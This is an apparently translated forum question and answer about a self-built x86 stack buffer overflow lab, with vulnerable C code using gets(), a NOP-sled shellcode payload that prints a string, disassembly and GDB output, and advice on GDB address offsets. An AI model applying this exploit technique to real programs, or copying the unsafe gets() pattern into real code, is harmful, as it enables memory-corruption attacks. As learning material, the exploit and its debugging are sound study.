利用示例缓冲区溢出代码的非法指令

逆向工程 C 开发 缓冲区溢出
2021-07-07 07:11:15

几天前,我编写了一个简单的代码来测试 x86 系统上的缓冲区溢出漏洞利用。为了保持简单,我禁用了 ASLR 和 NX,因此没有可能导致奇怪行为的保护。

这是我要利用的 C 代码:

#include <stdio.h>

void read_txt(){
        char txt[64];
        printf("Write something:");
        gets(txt);
}


int main(){
    read_txt();
    return 0;
}

我还编写了自己的仅打印字符串的 shellcode。据我所知,有效载荷应该是这样的,用 NOP 指令 + shellcode 填充缓冲区,添加 0x41414141 (AAAA) 以覆盖 EBP 寄存器,最后我用指向 NOP 中间的地址覆盖返回地址。

实际上它不是那样工作的,我的有效载荷如下:

[1-\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x20\x3b\x29\x20\x68\x68\x73\x65\x63\x68\x20\x48\x69\x67\x68\x48\x6f\x6c\x61\x89\xe1\xb2\x0f\xcd\x80\xb0\x01\x31\xdb][2-\x41\x41\x41\x41][3-\x89\xf4\xff\xbf][4-\x89\xf4\xff\xbf]

1- NOPs + Shellcode = 60bytes
2- AAAA =4 bytes (Padding to fill the buffer, if NOP+Shellcode fills 64bytes it does not work)
3- Address to override EBP (In the middle of NOPs)
4- Overrides Return Address

这个漏洞在 gdb 上有效,但如果我将有效负载直接传递给程序就会失败,我认为问题在于,就在程序执行get () 函数之前,反汇编器显示了esp 指向 ebp 并导致错误离开指令。

这是 read_txt() 函数的反汇编:

0x0804844c <+0>:    push   %ebp
   0x0804844d <+1>: mov    %esp,%ebp
   0x0804844f <+3>: sub    $0x44,%esp
   0x08048452 <+6>: movl   $0x8048510,(%esp)
   0x08048459 <+13>:    call   0x8048320 <printf@plt>
   0x0804845e <+18>:    lea    -0x40(%ebp),%eax
   0x08048461 <+21>:    mov    %eax,(%esp)
   0x08048464 <+24>:    call   0x8048330 <gets@plt>
   0x08048469 <+29>:    leave  
   0x0804846a <+30>:    ret    

这是在 GDB 上执行的漏洞利用:

(gdb) x/20x $esp
0xbffff47c: 0xbffff480  0x90909090  0x90909090  0x90909090
0xbffff48c: 0x90909090  0xc0319090  0xc931db31  0x04b0d231
0xbffff49c: 0x206801b3  0x6820293b  0x63657368  0x69482068
0xbffff4ac: 0x6f486867  0xe189616c  0x80cd0fb2  0xdb3101b0
0xbffff4bc: 0x41414141  0xbffff489  0xbffff489  0xbffff500
(gdb) s
Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0x90909090: I/O Error.

0xbffff489 in ?? ()
(gdb) c
Continuing.
Shellcode Executed
Program received signal SIGSEGV, Segmentation fault.
0xbffff4b9 in ?? ()
(gdb) 

请注意,EBP 指向 0x90909090,因为它具有覆盖返回地址的相同地址,并且还注意字符串Shellcode Executed,它是负载中包含的 shellcode。

我的问题是,在将返回地址指向 NOP 幻灯片之前,我可以在哪里指向 EBP 以避免此问题?同样作为次要问题,为什么我不能用 NOPs+Shellcode 填充 64bytes 缓冲区?

问候。

1个回答

事实上,gdb内部和外部的内存布局相差几个字节。最近这里有一个关于这个的问题。您可以阅读:如何预测实际执行和 gdb 控制执行之间的地址空间布局差异?

在您的情况下,您可能只需要通过添加/减去 96 个字节来调整您的地址。

我也可以给你一些技巧gdb来帮助你解决这个问题:

  • info frame:此命令为您提供所在帧的完整图像。包括保存的 eip保存的 ebp存储位置观察您是否到达内存中的正确位置进行修改非常有用。您可以在调用前后设置断点read_txt并显示保存的eip的内容,gets()以查看修改是否正确发生。

  • 击中时:

    0xbffff489 in ?? ()
    

    这基本上意味着gdb没有找到任何符号链接到内存位置。但是,它可能是汇编代码,特别是如果它是您的 shellcode。因此,要反汇编它,您可以使用以下任一命令:

    • disas 0xbffff489,+40
    • x /10i 0xbffff489

希望这有帮助。